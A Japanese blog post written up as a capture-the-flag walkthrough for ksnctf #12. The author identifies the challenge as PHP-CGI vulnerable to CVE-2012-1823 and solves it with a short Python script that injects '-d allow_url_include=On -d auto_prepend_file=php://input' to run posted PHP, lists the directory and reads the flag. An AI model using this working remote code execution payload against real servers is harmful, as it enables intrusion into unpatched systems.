かたはらいたし。

個人的な技術的な活動をまとめていきたい。

ksnctf #12 Hypertext Preprocessor

一ヶ月くらい論文やらなんやらで忙しくて全然更新できなかった・・・。

ksnctf - 12 Hypertext Preprocessor

Problem

http://ctfq.sweetduet.info:10080/~q12/

アクセスしてみると、真っ黒な画面に赤い文字で数字の羅列が表示されています。

Analyze

最初は時刻を表示してるのかな?と思って何回かページを更新したところ先頭の文字は変わらず、末尾だけ変化していました。

とりあえず困ったときはGoogle大先生に聞いてみようと、先頭の文字列を検索してみるとCVE-2012-1823に関する情報がたくさんヒットしました。

徳丸先生のページで詳細に解説されていました。
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記

CGI環境においてPHPを動かしている場合、リモートからのコマンド実行を許可してしまう脆弱性のようで、クエリとして=が含まれない場合、コマンドラインの引数としてみなされるもののようです。

以下の二つをパラメータとしてURLに含めて、実行したいコマンドをPOSTで渡すとPOSTの中身をPHPスクリプトとして実行されるとのことです。

allow_url_include=On
auto_prepend_file=php://input

Answer

実際に以下のようなコードを作成して、ディレクトリの中身を確認してみる。

#!/usr/bin/env python
# coding: UTF-8

import urllib
import urllib2
import requests


def main():
	url = 'http://ctfq.sweetduet.info:10080/~q12/index.php'
	code = '?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input'
	values = '''
	<?php
	$res_dir = opendir( '.' );
	while( $file_name = readdir( $res_dir ) ){
		print "{$file_name}\n";
	}
	closedir( $res_dir );
	?>
	'''
	req = requests.post(url+code, data=values)
	print req.text

if __name__ == '__main__':
	main()

すると、ディレクトリの中身として、

flag_flag_flag.txt
.htaccess
index.php
php.cgi

が存在していることがわかりました。

あとは、同じやり方でflag_flag_flag.txtの中身を表示して終了です。

感想とか

今回はたまたまググって解説されてるページがあったから解くことができたけど、CVEの情報とかだけだったらかなり苦戦していたように思うので、ラッキーということで・・・。